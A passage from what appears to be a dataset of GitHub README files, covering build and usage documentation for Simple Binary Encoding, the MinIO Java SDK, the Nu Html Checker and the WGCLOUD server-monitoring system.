[here](https://github.com/real-logic/simple-binary-encoding/blob/master/sbe-tool/src/main/resources/fpl/sbe.xsd). Please address questions about the specification to the [SBE FIX community](https://github.com/FIXTradingCommunity/fix-simple-binary-encoding).
For the latest version information and changes see the [Change Log](https://github.com/real-logic/simple-binary-encoding/wiki/Change-Log) with **downloads** at [Maven Central](http://search.maven.org/#search%7Cga%7C1%7Csbe).
The Java and C++ SBE implementations work very efficiently with the [Aeron](https://github.com/real-logic/aeron)
messaging system for low-latency and high-throughput communications. The Java SBE implementation has a dependency on
[Agrona](https://github.com/real-logic/agrona) for its buffer implementations. Commercial support is available from
[sales@real-logic.co.uk](mailto:sales@real-logic.co.uk?subject=SBE).
Binaries
--------
Binaries and dependency information for Maven, Ivy, Gradle, and others can be found at
[http://search.maven.org](http://search.maven.org/#search%7Cga%7C1%7Csbe).
Example for Maven:
```xml
<dependency>
<groupId>uk.co.real-logic</groupId>
<artifactId>sbe-all</artifactId>
<version>${sbe.tool.version}</version>
</dependency>
```
Build
-----
Build the project with [Gradle](http://gradle.org/) using this [build.gradle](https://github.com/real-logic/simple-binary-encoding/blob/master/build.gradle) file.
Full clean build:
$ ./gradlew
Run the Java examples
$ ./gradlew runJavaExamples
Distribution
------------
Jars for the executable, source, and javadoc for the various modules can be found in the following directories:
sbe-benchmarks/build/libs
sbe-samples/build/libs
sbe-tool/build/libs
sbe-all/build/libs
An example to execute a Jar from command line using the 'all' jar which includes the Agrona dependency:
java -Dsbe.generate.ir=true -Dsbe.target.language=Cpp -Dsbe.target.namespace=sbe -Dsbe.output.dir=include/gen -Dsbe.errorLog=yes -jar sbe-all/build/libs/sbe-all-${SBE_TOOL_VERSION}.jar my-sbe-messages.xml
C++ Build using CMake
---------------------
NOTE: Linux, Mac OS, and Windows only for the moment. See
[FAQ](https://github.com/real-logic/simple-binary-encoding/wiki/Frequently-Asked-Questions).
Windows builds have been tested with Visual Studio Express 12.
For convenience, the `cppbuild` script does a full clean, build, and test of all targets as a Release build.
$ ./cppbuild/cppbuild
If you are comfortable using CMake, then a full clean, build, and test looks like:
$ mkdir -p cppbuild/Debug
$ cd cppbuild/Debug
$ cmake ../..
$ cmake --build . --clean-first
$ ctest
__Note__: The C++ build includes the C generator. Currently, the C generator is a work in progress.
Golang Build
------------
First build using Gradle to generate the SBE jar and then use it to generate the golang code for testing.
$ ./gradlew
$ ./gradlew generateGolangCodecs
For convenience on Linux, a gnu Makefile is provided that runs some tests and contains some examples.
$ cd gocode
# make # test, examples, bench
Users of golang generated code should see the [user
documentation](https://github.com/real-logic/simple-binary-encoding/wiki/Golang-User-Guide).
Developers wishing to enhance the golang generator should see the [developer
documentation](https://github.com/real-logic/simple-binary-encoding/blob/master/gocode/README.md)
C# Build
--------
Users of CSharp generated code should see the [user documentation](https://github.com/real-logic/simple-binary-encoding/wiki/Csharp-User-Guide).
Developers wishing to enhance the CSharp generator should see the [developer documentation](https://github.com/real-logic/simple-binary-encoding/blob/master/csharp/README.md)
Rust Build
------------
The SBE Rust generator will produce 100% safe rust crates (no `unsafe` code will be generated). Generated crates do
not have any dependencies on any libraries (including no SBE libraries). If you don't yet have Rust installed
see [Rust: Getting Started](https://www.rust-lang.org/learn/get-started)
Generate the Rust codecs
$ ./gradlew generateRustCodecs
Run the Rust test from Gradle
$ ./gradlew runRustTests
Or run test directly with `Cargo`
$ cd rust
$ cargo test
License (See LICENSE file for full license)
-------------------------------------------
Copyright 2013-2024 Real Logic Limited.
Copyright 2017 MarketFactory Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
| 0 |
minio/minio-java | MinIO Client SDK for Java | 2015-05-02T23:01:03Z | null | # MinIO Java SDK for Amazon S3 Compatible Cloud Storage [![Slack](https://slack.min.io/slack?type=svg)](https://slack.min.io)
MinIO Java SDK is Simple Storage Service (aka S3) client to perform bucket and object operations to any Amazon S3 compatible object storage service.
For a complete list of APIs and examples, please take a look at the [Java Client API Reference](https://min.io/docs/minio/linux/developers/java/API.html) documentation.
## Minimum Requirements
Java 1.8 or above.
## Maven usage
```xml
<dependency>
<groupId>io.minio</groupId>
<artifactId>minio</artifactId>
<version>8.5.10</version>
</dependency>
```
## Gradle usage
```
dependencies {
implementation("io.minio:minio:8.5.10")
}
```
## JAR download
The latest JAR can be downloaded from [here](https://repo1.maven.org/maven2/io/minio/minio/8.5.10/)
## Quick Start Example - File Uploader
This example program connects to an object storage server, makes a bucket on the server and then uploads a file to the bucket.
You need three items in order to connect to an object storage server.
| Parameters | Description |
|------------|------------------------------------------------------------|
| Endpoint | URL to S3 service. |
| Access Key | Access key (aka user ID) of an account in the S3 service. |
| Secret Key | Secret key (aka password) of an account in the S3 service. |
This example uses MinIO server playground [https://play.min.io](https://play.min.io). Feel free to use this service for test and development.
### FileUploader.java
```java
import io.minio.BucketExistsArgs;
import io.minio.MakeBucketArgs;
import io.minio.MinioClient;
import io.minio.UploadObjectArgs;
import io.minio.errors.MinioException;
import java.io.IOException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
public class FileUploader {
public static void main(String[] args)
throws IOException, NoSuchAlgorithmException, InvalidKeyException {
try {
// Create a minioClient with the MinIO server playground, its access key and secret key.
MinioClient minioClient =
MinioClient.builder()
.endpoint("https://play.min.io")
.credentials("Q3AM3UQ867SPQQA43P2F", "zuf+tfteSlswRu7BJ86wekitnifILbZam1KYY3TG")
.build();
// Make 'asiatrip' bucket if not exist.
boolean found =
minioClient.bucketExists(BucketExistsArgs.builder().bucket("asiatrip").build());
if (!found) {
// Make a new bucket called 'asiatrip'.
minioClient.makeBucket(MakeBucketArgs.builder().bucket("asiatrip").build());
} else {
System.out.println("Bucket 'asiatrip' already exists.");
}
// Upload '/home/user/Photos/asiaphotos.zip' as object name 'asiaphotos-2015.zip' to bucket
// 'asiatrip'.
minioClient.uploadObject(
UploadObjectArgs.builder()
.bucket("asiatrip")
.object("asiaphotos-2015.zip")
.filename("/home/user/Photos/asiaphotos.zip")
.build());
System.out.println(
"'/home/user/Photos/asiaphotos.zip' is successfully uploaded as "
+ "object 'asiaphotos-2015.zip' to bucket 'asiatrip'.");
} catch (MinioException e) {
System.out.println("Error occurred: " + e);
System.out.println("HTTP trace: " + e.httpTrace());
}
}
}
```
#### Compile FileUploader
```sh
$ javac -cp minio-8.5.10-all.jar FileUploader.java
```
#### Run FileUploader
```sh
$ java -cp minio-8.5.10-all.jar:. FileUploader
'/home/user/Photos/asiaphotos.zip' is successfully uploaded as object 'asiaphotos-2015.zip' to bucket 'asiatrip'.
$ mc ls play/asiatrip/
[2016-06-02 18:10:29 PDT] 82KiB asiaphotos-2015.zip
```
## More References
* [Java Client API Reference](https://min.io/docs/minio/linux/developers/java/API.html)
* [Javadoc](https://minio-java.min.io/)
* [Examples](https://github.com/minio/minio-java/tree/release/examples)
## Explore Further
* [Complete Documentation](https://min.io/docs/minio/kubernetes/upstream/index.html)
* [Build your own Photo API Service - Full Application Example ](https://github.com/minio/minio-java-rest-example)
## Contribute
Please refer [Contributors Guide](https://github.com/minio/minio-java/blob/release/CONTRIBUTING.md)
| 0 |
validator/validator | Nu Html Checker – Helps you catch problems in your HTML/CSS/SVG | 2010-12-03T02:00:23Z | null | # The Nu Html Checker (v.Nu) [![Chat room][1]][2] [![Download latest][3]][4]
[1]: resources/matrix-chat.svg
[2]: https://matrix.to/#/#validator_validator:gitter.im
[3]: resources/download-latest.svg
[4]: https://github.com/validator/validator/releases/latest
The Nu Html Checker (v.Nu) helps you [catch unintended mistakes in your HTML,
CSS, and SVG][5]. It enables you to [batch-check documents from the command
line][6] and from other scripts/apps, and to [deploy your own instance of the
checker as a service][7] (like [validator.w3.org/nu][8]). Its [source code is
available][9], as are [instructions on how to build, test, and run the
code][10].
[5]: https://validator.w3.org/nu/about.html#why-validate
[6]: https://validator.github.io/validator/#usage
[7]: https://validator.github.io/validator/#standalone
[8]: https://validator.w3.org/nu/
[9]: https://github.com/validator/validator
[10]: https://validator.github.io/validator/#build-instructions
A [Dockerfile][11] (see **Pulling the Docker image** below) and [npm][12],
[pip][13], and [brew][14] packages are also available.
[11]: https://ghcr.io/validator/validator
[12]: https://www.npmjs.com/package/vnu-jar
[13]: https://github.com/svenkreiss/html5validator
[14]: https://formulae.brew.sh/formula/vnu
It is released upstream in these formats:
* pre-compiled Linux, Windows, and macOS binaries that include an embedded
Java runtime
* `vnu.jar` — a portable version you can use on any system that has Java 11 or
above installed
* `vnu.war` — for [deploying the checker service through a servlet container
such as Tomcat][15]
[15]: https://validator.github.io/validator/#servlet
**Note:** The _vnu.jar_ and _vnu.war_ files require you to have Java 11 or above
installed. The pre-compiled Linux, Windows, and macOS binaries don’t require you
to have any version of Java already installed at all.
You can [get the latest release][16] or run [`docker run -it --rm -p 8888:8888
ghcr.io/validator/validator:latest`][17], [`npm install vnu-jar`][18],
[`npm install --registry=https://npm.pkg.github.com @validator/vnu-jar`][19],
[`brew install vnu`][20], or [`pip install html5validator`][21] and see the
**Usage** and **Web-based checking** sections below. Or automate your document
checking with a frontend such as:
[16]: https://github.com/validator/validator/releases/latest
[17]: https://github.com/validator/validator/pkgs/container/validator
[18]: https://www.npmjs.com/package/vnu-jar
[19]: https://github.com/validator/validator/packages/892707
[20]: https://libraries.io/homebrew/vnu
[21]: https://github.com/svenkreiss/html5validator
* [Grunt plugin for HTML validation][22] or [Gulp plugin for HTML
validation][23] or [Maven plugin for HTML validation][24]
* [html5validator `pip` package][25] (for integration in Travis CI, CircleCI,
CodeShip, Jekyll, Pelican, etc.)
* [LMVTFY: Let Me Validate That For You][26] (auto-check JSFiddle/JSBin, etc.,
links in GitHub issue comments)
[22]: https://github.com/validator/grunt-html
[23]: https://github.com/validator/gulp-html
[24]: https://github.com/validator/maven-plugin
[25]: https://github.com/svenkreiss/html5validator
[26]: https://github.com/cvrebert/lmvtfy/
## Usage
Run the checker with one of the following invocations:
• `vnu-runtime-image/bin/vnu OPTIONS FILES` (Linux or macOS)
• `vnu-runtime-image\bin\vnu.bat OPTIONS FILES` (Windows)
• `java -jar ~/vnu.jar OPTIONS FILES` (any system with Java8+ installed)
…where _`FILES`_ are the documents to check, and _`OPTIONS`_ are zero or more of
the following options:
--errors-only --Werror --exit-zero-always --stdout --asciiquotes
--user-agent USER_AGENT --no-langdetect --no-stream --filterfile FILENAME
--filterpattern PATTERN --css --skip-non-css --also-check-css --svg
--skip-non-svg --also-check-svg --xml --html --skip-non-html
--format gnu|xml|json|text --help --verbose --version
The [Options][27] section below provides details on each option, and the rest of
this section provides some specific examples.
[27]: https://validator.github.io/validator/#options
**Note:** Throughout these examples, replace `~/vnu.jar` with the actual path to
that jar file on your system, and replace `vnu-runtime-image/bin/vnu` and
`vnu-runtime-image\bin\vnu.bat` with the actual path to the `vnu` or `vnu.bat`
program on your system — or if you add the `vnu-runtime-image/bin` or
`vnu-runtime-image\bin` directory your system `PATH` environment variable, you
can invoke the checker with just `vnu`.
To check one or more documents from the command line:
vnu-runtime-image/bin/vnu FILE.html FILE2.html FILE3.html...
vnu-runtime-image\bin\vnu.bat FILE.html FILE2.html FILE3.html...
java -jar ~/vnu.jar FILE.html FILE2.html FILE3.html...
**Note:** If you get a `StackOverflowError` error when invoking the checker, try
adjusting the thread stack size by providing the `-Xss` option to java:
java -Xss512k -jar ~/vnu.jar ...
vnu-runtime-image/bin/java -Xss512k \
-m vnu/nu.validator.client.SimpleCommandLineValidator ...
To check all documents in a particular directory `DIRECTORY_PATH` as HTML:
java -jar ~/vnu.jar DIRECTORY_PATH
vnu-runtime-image/bin/vnu DIRECTORY_PATH
vnu-runtime-image\bin\vnu.bat DIRECTORY_PATH
#### More examples
**Note:** The examples in this section assume you have the
`vnu-runtime-image/bin` or `vnu-runtime-image\bin` directory in your system
`PATH` environment variable. If you’re using the jar file instead, replace `vnu`
in the examples with `java -jar ~/vnu.jar`.
To check all documents in a particular directory `DIRECTORY_PATH` as HTML, but
skip any documents whose names don’t end with the extensions `.html`, `.htm`,
`.xhtml`, or `.xht`:
vnu --skip-non-html DIRECTORY_PATH
To check all documents in a particular directory as CSS:
vnu --css DIRECTORY_PATH
To check all documents in a particular directory as CSS, but skip any documents
whose names don’t end with the extension `.css`:
vnu --skip-non-css DIRECTORY_PATH
To check all documents in a particular directory, with documents whose names end
in the extension `.css` being checked as CSS, and all other documents being
checked as HTML:
vnu --also-check-css DIRECTORY_PATH
To check all documents in a particular directory as SVG:
vnu --svg DIRECTORY_PATH
To check all documents in a particular directory as SVG, but skip any documents
whose names don’t end with the extension `.svg`:
vnu --skip-non-svg DIRECTORY_PATH
To check all documents in a particular directory, with documents whose names end
in the extension `.svg` being checked as SVG, and all other documents being
checked as HTML:
vnu --also-check-svg DIRECTORY_PATH
To check a Web document:
vnu _URL_
example: vnu http://example.com/foo
To check standard input:
vnu -
example:
echo '<!doctype html><title>...' | vnu -
echo '<!doctype html><title>...' | java -jar ~/vnu.jar -
### Options
When used from the command line as described in this section, the checker
provides the following options:
#### --asciiquotes
Specifies whether ASCII quotation marks are substituted for Unicode smart
quotation marks in messages.
default: [unset; Unicode smart quotation marks are used in messages]
#### --errors-only
Specifies that only error-level messages and non-document-error messages are
reported (so that warnings and info messages are not reported).
default: [unset; all messages reported, including warnings & info messages]
#### --Werror
Makes the checker exit non-zero if any warnings are encountered (even if
there are no errors).
default: [unset; checker exits zero if only warnings are encountered]
#### --exit-zero-always
Makes the checker exit zero even if errors are reported for any documents.
default: [unset; checker exits 1 if errors are reported for any documents]
#### --stdout
Makes the checker report errors and warnings to stdout rather than stderr.
default: [unset; checker reports errors and warnings to stderr]
#### --filterfile _FILENAME_
Specifies a filename. Each line of the file contains either a regular
expression or starts with "#" to indicate the line is a comment. Any error
message or warning message that matches a regular expression in the file is
filtered out (dropped/suppressed).
default: [unset; checker does no message filtering]
#### --filterpattern _REGEXP_
Specifies a regular expression. Any error message or warning message that
matches the regular expression is filtered out (dropped/suppressed).
As with all other checker options, this option may only be specified once.
So to filter multiple error messages or warning messages, you must provide a
single regular expression that will match all the messages. The typical way
to do that for regular expressions is to OR multiple patterns together using
the "|" character.
default: [unset; checker does no message filtering]
#### --format _format_
Specifies the output format for reporting the results.
default: "gnu"
possible values: "gnu", "xml", "json", "text" [see information at URL below]
https://github.com/validator/validator/wiki/Service-%C2%BB-Common-params#out
#### --help
Shows detailed usage information.
#### --skip-non-css
Check documents as CSS but skip documents that don’t have *.css extensions.
default: [unset; all documents found are checked]
#### --css
Force all documents to be checked as CSS, regardless of extension.
default: [unset]
#### --skip-non-svg
Check documents as SVG but skip documents that don’t have *.svg extensions.
default: [unset; all documents found are checked]
#### --svg
Force all documents to be checked as SVG, regardless of extension.
default: [unset]
#### --skip-non-html
Skip documents that don’t have *.html, *.htm, *.xhtml, or *.xht extensions.
default: [unset; all documents found are checked, regardless of extension]
#### --html
Forces any *.xhtml or *.xht documents to be parsed using the HTML parser.
default: [unset; XML parser is used for *.xhtml and *.xht documents]
#### --xml
Forces any *.html documents to be parsed using the XML parser.
default: [unset; HTML parser is used for *.html documents]
#### --also-check-css
Check CSS documents (in addition to checking HTML documents).
default: [unset; no documents are checked as CSS]
#### --also-check-svg
Check SVG documents (in addition to checking HTML documents).
default: [unset; no documents are checked as SVG]
#### --user-agent _USER_AGENT_
Specifies the value of the User-Agent request header to send when checking
HTTPS/HTTP URLs.
default: "Validator.nu/LV"
#### --no-langdetect
Disables language detection, so that documents are not checked for missing
or mislabeled html[lang] attributes.
default: [unset; language detection & html[lang] checking are performed]
#### --no-stream
Forces all documents to be be parsed in buffered mode instead of streaming
mode (causes some parse errors to be treated as non-fatal document errors
instead of as fatal document errors).
default: [unset; non-streamable parse errors cause fatal document errors]
#### --verbose
Specifies "verbose" output. (Currently this just means that the names of
files being checked are written to stdout.)
default: [unset; output is not verbose]
#### --version
Shows the checker version number.
## Web-based checking
The Nu Html Checker — along with being usable as [a standalone command-line
client][28] — can be run as an HTTP service, similar to
[validator.w3.org/nu][29], for browser-based checking of HTML documents, CSS
stylesheets, and SVG images over the Web. To that end, the checker is released
as several separate packages:
[28]: https://validator.github.io/validator/#usage
[29]: https://validator.w3.org/nu/
* Linux, Windows, and macOS binaries for deploying the checker as a simple
self-contained service on any system
* `vnu.jar` for deploying the checker as a simple self-contained service on a
system with Java installed
* `vnu.war` for deploying the checker to a servlet container such as Tomcat
All deployments expose a REST API that enables checking of HTML documents, CSS
stylesheets, and SVG images from other clients, not just web browsers. And the
Linux, Windows, and macOS binaries and `vnu.jar` package also include a simple
HTTP client that enables you to either send documents to a locally-running
instance of the checker HTTP service — for fast command-line checking — or to
any remote instance of the checker HTTP service running anywhere on the Web.
The [latest releases of the Linux, Windows, and macOS binaries and vnu.jar and
vnu.war packages][30] are available from the `validator` project at github. The
following are detailed instructions on using them.
[30]: https://github.com/validator/validator/releases/latest
**Note:** Throughout these instructions, replace `~/vnu.jar` with the actual
path to that jar file on your system, and replace `vnu-runtime-image/bin/java`
and `vnu-runtime-image\bin\java.exe` with the actual path to the checker `java`
or `java.exe` program on your system — or if you add the `vnu-runtime-image/bin`
or `vnu-runtime-image\bin` directory your system `PATH` environment variable,
you can invoke the checker with just `java nu.validator.servlet.Main 8888`.
### Standalone web server
To run the checker as a standalone service (using a built-in Jetty server), open
a new terminal window and invoke the checker like this:
java -cp ~/vnu.jar nu.validator.servlet.Main 8888
vnu-runtime-image/bin/java nu.validator.servlet.Main 8888
vnu-runtime-image\bin\java.exe nu.validator.servlet.Main 8888
Then open [http://0.0.0.0:8888][31] in a browser. (To listen on a different
port, replace `8888` with the port number.)
[31]: http://0.0.0.0:8888
**Warning:** Future checker releases will bind by default to the address
`127.0.0.1`. Your checker deployment might become unreachable unless you use the
`nu.validator.servlet.bind-address` system property to bind the checker to a
different address:
java -cp ~/vnu.jar \
-Dnu.validator.servlet.bind-address=128.30.52.73 \
nu.validator.servlet.Main 8888
vnu-runtime-image/bin/java \
-Dnu.validator.servlet.bind-address=128.30.52.73 \
nu.validator.servlet.Main 8888
vnu-runtime-image\bin\java.exe \
-Dnu.validator.servlet.bind-address=128.30.52.73 \
nu.validator.servlet.Main 8888
When you open [http://0.0.0.0:8888][32] (or whatever URL corresponds to the
`nu.validator.servlet.bind-address` value you’re using), you’ll see a form
similar to [validator.w3.org/nu][33] that allows you to enter the URL of an HTML
document, CSS stylesheet, or SVG image, and have the results of checking that
resource displayed in the browser.
[32]: http://0.0.0.0:8888
[33]: https://validator.w3.org/nu/
**Note:** If you get a `StackOverflowError` error when using the checker, try
adjusting the thread stack size by providing the `-Xss` option to java:
java -Xss512k -cp ~/vnu.jar nu.validator.servlet.Main 8888
vnu-runtime-image/bin/java -Xss512k -m vnu/nu.validator.servlet.Main 8888
### Deployment to servlet container
To run the checker inside of an existing servlet container such as Apache Tomcat
you will need to deploy the `vnu.war` file to that server following its
documentation. For example, on Apache Tomcat you could do this using the
[Manager][34] application or simply by copying the file to the `webapps`
directory (since that is the default `appBase` setting). Typically you would see
a message similar to the following in the `catalina.out` log file.
[34]: https://tomcat.apache.org/tomcat-8.0-doc/manager-howto.html
May 7, 2014 4:42:04 PM org.apache.catalina.startup.HostConfig deployWAR
INFO: Deploying web application archive /var/lib/tomcat7/webapps/vnu.war
Assuming your servlet container is configured to receive HTTP requests sent to
`localhost` on port `80` and the context root of this application is `vnu`
(often the default behavior is to use the WAR file's filename as the context
root unless one is explicitly specified) you should be able to access the
application by connecting to [http://localhost/vnu/][35].
[35]: http://localhost/vnu/
**Note:** You may want to customize the `/WEB-INF/web.xml` file inside the WAR
file (you can use any ZIP-handling program) to modify the servlet filter
configuration. For example, if you wanted to disable the inbound-size-limit
filter, you could comment out that filter like this:
<!--
<filter>
<filter-name>inbound-size-limit-filter</filter-name>
<filter-class>nu.validator.servlet.InboundSizeLimitFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>inbound-size-limit-filter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
-->
### HTTP client (for fast command-line checking)
The checker is packaged with an HTTP client you can use from the command line to
either send documents to a locally-running instance of the checker HTTP service
— for fast command-line checking — or to a remote instance anywhere on the Web.
To check documents locally using the packaged HTTP client, do this:
1. Start up the checker as a local HTTP service, as described in the
**Standalone web server** section.
2. Open a new terminal window and invoke the HTTP client like this:
java -cp ~/vnu.jar nu.validator.client.HttpClient FILE.html...
vnu-runtime-image/bin/java nu.validator.client.HttpClient FILE.html...
To send documents to an instance of the checker on the Web, such as
[html5.validator.nu/][36], use the nu.validator.client.host and
nu.validator.client.port options, like this:
[36]: https://html5.validator.nu/
java -cp ~/vnu.jar -Dnu.validator.client.port=80 \
-Dnu.validator.client.host=html5.validator.nu \
nu.validator.client.HttpClient FILE.html...
…or like this:
vnu-runtime-image/bin/java -Dnu.validator.client.port=80 \
-Dnu.validator.client.host=html5.validator.nu \
nu.validator.client.HttpClient FILE.html...
Other options are documented below.
### HTTP client options
When using the packaged HTTP client for sending documents to an instance of the
checker HTTP service for checking, you can set Java system properties to control
configuration options for the checker behavior.
For example, you can suppress warning-level messages and only show error-level
ones by setting the value of the `nu.validator.client.level` system property to
`error`, like this:
java -Dnu.validator.client.level=error \
-cp ~/vnu.jar nu.validator.client.HttpClient FILE.html...
…or like this:
vnu-runtime-image/bin/java -Dnu.validator.client.level=error \
-cp ~/vnu.jar nu.validator.client.HttpClient FILE.html...
Most of the properties listed below map to the common input parameters for the
checker service, as documented at
[github.com/validator/validator/wiki/Service-»-Common-params][37].
[37]: https://github.com/validator/validator/wiki/Service-%C2%BB-Common-params
#### nu.validator.client.host
Specifies the hostname of the checker for the client to connect to.
default: "127.0.0.1"
#### nu.validator.client.port
Specifies the hostname of the checker for the client to connect to.
default: "8888"
example: java -Dnu.validator.client.port=8080 -jar ~/vnu.jar FILE.html
#### nu.validator.client.level
Specifies the severity level of messages to report; to suppress
warning-level messages, and only show error-level ones, set this property to
"error".
default: [unset]
possible values: "error"
example: java -Dnu.validator.client.level=error -jar ~/vnu.jar FILE.html
#### nu.validator.client.parser
Specifies which parser to use.
default: "html"; or, for *.xhtml input files, "xml"
possible values: [see information at URL below]
https://github.com/validator/validator/wiki/Service-%C2%BB-Common-params#parser
#### nu.validator.client.charset
Specifies the encoding of the input document.
default: [unset]
#### nu.validator.client.content-type
Specifies the content-type of the input document.
default: "text/html"; or, for *.xhtml files, "application/xhtml+xml"
#### nu.validator.client.out
Specifies the output format for messages.
default: "gnu"
possible values: [see information at URL below]
https://github.com/validator/validator/wiki/Service-%C2%BB-Common-params#out
#### nu.validator.client.asciiquotes
Specifies whether ASCII quotation marks are substituted for Unicode smart
quotation marks in messages.
default: "yes"
possible values: "yes" or "no"
### HTTP servlet options
#### nu.validator.servlet.bind-address
Binds the validator service to the specified IP address.
default: 0.0.0.0 [causes the checker to listen on all interfaces]
possible values: The IP address of any network interface
example: -Dnu.validator.servlet.bind-address=127.0.0.1
#### nu.validator.servlet.connection-timeout
Specifies the connection timeout.
default: 5000
possible values: number of milliseconds
example: -Dnu.validator.servlet.connection-timeout=5000
#### nu.validator.servlet.socket-timeout
Specifies the socket timeout.
default: 5000
possible values: number of milliseconds
example: -Dnu.validator.servlet.socket-timeout=5000
## Pulling the Docker image
You can pull the checker Docker image from
[https://ghcr.io/validator/validator][38] in the GitHub container registry.
[38]: https://ghcr.io/validator/validator
To pull and run the latest version of the checker:
docker run -it --rm -p 8888:8888 ghcr.io/validator/validator:latest
To pull and run a specific tag/version of the checker from the container
registry — for example, the `17.11.1` version:
docker run -it --rm -p 8888:8888 ghcr.io/validator/validator:17.11.1
To bind the checker to a specific address (rather than have it listening on all
interfaces):
docker run -it --rm -p 128.30.52.73:8888:8888
ghcr.io/validator/validator:latest
To make the checker run with a connection timeout and socket timeout different
than the default 5 seconds, use the `CONNECTION_TIMEOUT_SECONDS` and
`SOCKET_TIMEOUT_SECONDS` environment variables:
docker run -it --rm \
-e CONNECTION_TIMEOUT_SECONDS=15 \
-e SOCKET_TIMEOUT_SECONDS=15 \
-p 8888:8888 \
validator/validator
To make the checker run with particular Java system properties set, use the
`JAVA_TOOL_OPTIONS` environment variable:
docker run -it --rm \
-e JAVA_TOOL_OPTIONS=-Dnu.validator.client.asciiquotes=yes \
-p 8888:8888 \
validator/validator
To define a service named `vnu` for use with `docker compose`, create a Compose
file named `docker-compose.yml` (for example), with contents such as the
following:
version: '2' services:
vnu:
image: validator/validator ports:
- "8888:8888"
network_mode: "host" #so "localhost" refers to the host machine.
## Build instructions
Follow the steps below to build, test, and run the checker such that you can
open `http://0.0.0.0:8888/` in a Web browser to use the checker Web UI.
1. Make sure you have git, python, and JDK 8 or above installed.
2. Set the `JAVA_HOME` environment variable:
export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64 <-- Ubuntu, etc.
export JAVA_HOME=$(/usr/libexec/java_home) <-- MacOS
3. Create a working directory:
git clone https://github.com/validator/validator.git
4. Change into your working directory:
cd validator
5. Start the checker Python script:
python ./checker.py all
The first time you run the checker Python script, you’ll need to be online and
the build will need time to download several megabytes of dependencies.
The steps above will build, test, and run the checker such that you can open
`http://0.0.0.0:8888/` in a Web browser to use the checker Web UI.
**Warning:** Future checker releases will bind by default to the address
`127.0.0.1`. Your checker deployment might become unreachable unless you use the
`--bind-address` option to bind the checker to a different address:
python ./checker.py --bind-address=128.30.52.73 all
Use `python ./checker.py --help` to see command-line options for controlling the
behavior of the script, as well as build-target names you can call separately;
e.g.:
* python ./checker.py build # to build only
* python ./checker.py build test # to build and test
* python ./checker.py run # to run only
* python ./checker.py jar # to compile vnu.jar
* python ./checker.py update-shallow && \
python ./checker.py dldeps && \
python ./checker.py jar # to compile vnu.jar faster
| 0 |
tianshiyeben/wgcloud | Linux运维监控工具,支持系统硬件信息,内存,cpu,温度,磁盘空间及IO,硬盘smart,系统负载,网络流量等监控,服务接口,大屏展示,拓扑图,进程监控,端口监控,docker监控,文件防篡改,日志监控,数据可视化,web ssh,堡垒机,指令下发批量执行,Linux面板(探针),SNMP,故障告警 | 2019-01-15T02:02:21Z | null | <p align="center">
<a target="_blank" href="http://www.wgstart.com">
<img src="./demo/logo.png">
</a>
</p>
## WGCLOUD
[中文版README](./README_cn.md)
Wgcloud design idea is a new generation of very simple operation and maintenance monitoring system, which advocates rapid deployment, reduces the difficulty of operation and maintenance learning, runs automatically, and has no template and script.
**The current warehouse version is v2 3.7 for the latest secondary development, please pull the master branch.**
Wgcloud is developed based on the microservice springboot architecture, and is a lightweight and high-performance distributed monitoring system. The core collection indexes include: **CPU utilization, CPU temperature, memory utilization, disk capacity, disk IO, smart health status of hard disk, system load, number of connections, network card traffic, hardware system information, etc. Support the monitoring of process applications, files, ports, logs, docker containers, databases, data tables and other resources on the server. Support monitoring service interface API, data communication equipment (such as switch, router, printer), etc. Automatically generate network topology map, large screen visualization, web SSH (Fortress machine), statistical analysis chart, command issuance, batch execution, alarm information push (such as email, nail, wechat, SMS, etc.)**
1. V2.3.7 abandons the sigar method of v2.3.6 to obtain host indicators, and v2.3.7 uses popular oshi components to collect host indicators
2. the server and client work together, which is lighter and more efficient, and can support thousands of hosts to monitor online at the same time.
3. The server side is responsible for receiving data, processing data, and generating chart display. The agent side reports the index data every 30 seconds (time adjustable) by default.
4. support the installation and deployment of mainstream server platforms, such as Linux, windows, MacOS, etc.
5. Wgcloud adopts springboot+bootstrap to realize the distributed monitoring system perfectly, which is used to feed the open source community and open source for the second time.
6. if you feel wggroup has helped you, you don't need to reward it, just click star to support it
7. About sharing, the original intention of open source is to share learning. If you can, please add [wgcloud] on your blog and website (if any)[WGCLOUD](http://www.wgstart.com)Link or write a post to share with others to help wgcloud learn and progress. Finally, if you like, you can send us your company name by email, and we will show it to the [thank you] column of wgcloud website.
## site
<http://www.wgstart.com>
## video
<https://space.bilibili.com/549621501/video>
## **Source code use**
1.If you use idea (recommended), you can directly open wgcloud server and wgcloud agent. JDK uses 1.8
2.If you use eclipse, you can import the Maven project wgcloud server and wgcloud agent. JDK uses 1.8
3.Run the required SQL script (MySQL database is used in this project). Under the SQL folder, create the database wgcloud in MySQL database and import wgcloud.sql.
**4. If you feel that wgcloud has helped you, please support [www.wgstart.com](http://www.wgstart.com). With your support, open source can do better. Thank you.**
## **Demo**
![WGCLOUD监控主面板](./demo/demo2.jpg)
![WGCLOUD监控主机列表](./demo/demo3.jpg)
![WGCLOUD监控主机磁盘图表](./demo/demo9.jpg)
![WGCLOUD监控主机告警图表](./daping/dapingv4.jpg)
![WGCLOUD监控主机告警图表](./demo/dp.jpg)
![WGCLOUD监控主机告警图表](./demo/dapingNew.jpg)
![WGCLOUD监控主机状态趋势图](./demo/demo4.jpg)
![WGCLOUD网络拓扑图](./demo/tpdemo.jpg)
![WGCLOUD主机画像图](./demo/ssh.jpg)
![WGCLOUD主机画像图](./demo/huaxiang.jpg)
## Example of communication diagram (HTTP protocol)
![WGCLOUD通信图示例](./demo/tongxin.jpg)
## Running environment
1.JDK1.8、JDK11
2.Mysql5.6 and above、MariaDB、PostgreSQL、Oracle
3.Support operating system platform
> Support monitoring linux series: Debian, RedHat, CentOS, Ubuntu .....
>
> support monitoring windows series: Windows Server 2008 R2 2012 , 2016 , 2019, Windows 7, Windows 8, windows 10 ,windows 11
>
> support monitoring UNIX series: Solaris, FreeBSD, OpenBSD ......
>
> support monitoring Mac OS series: Mac OS AMD64
## EMAIL
**wgcloud@foxmail.com**
## SPONSORS
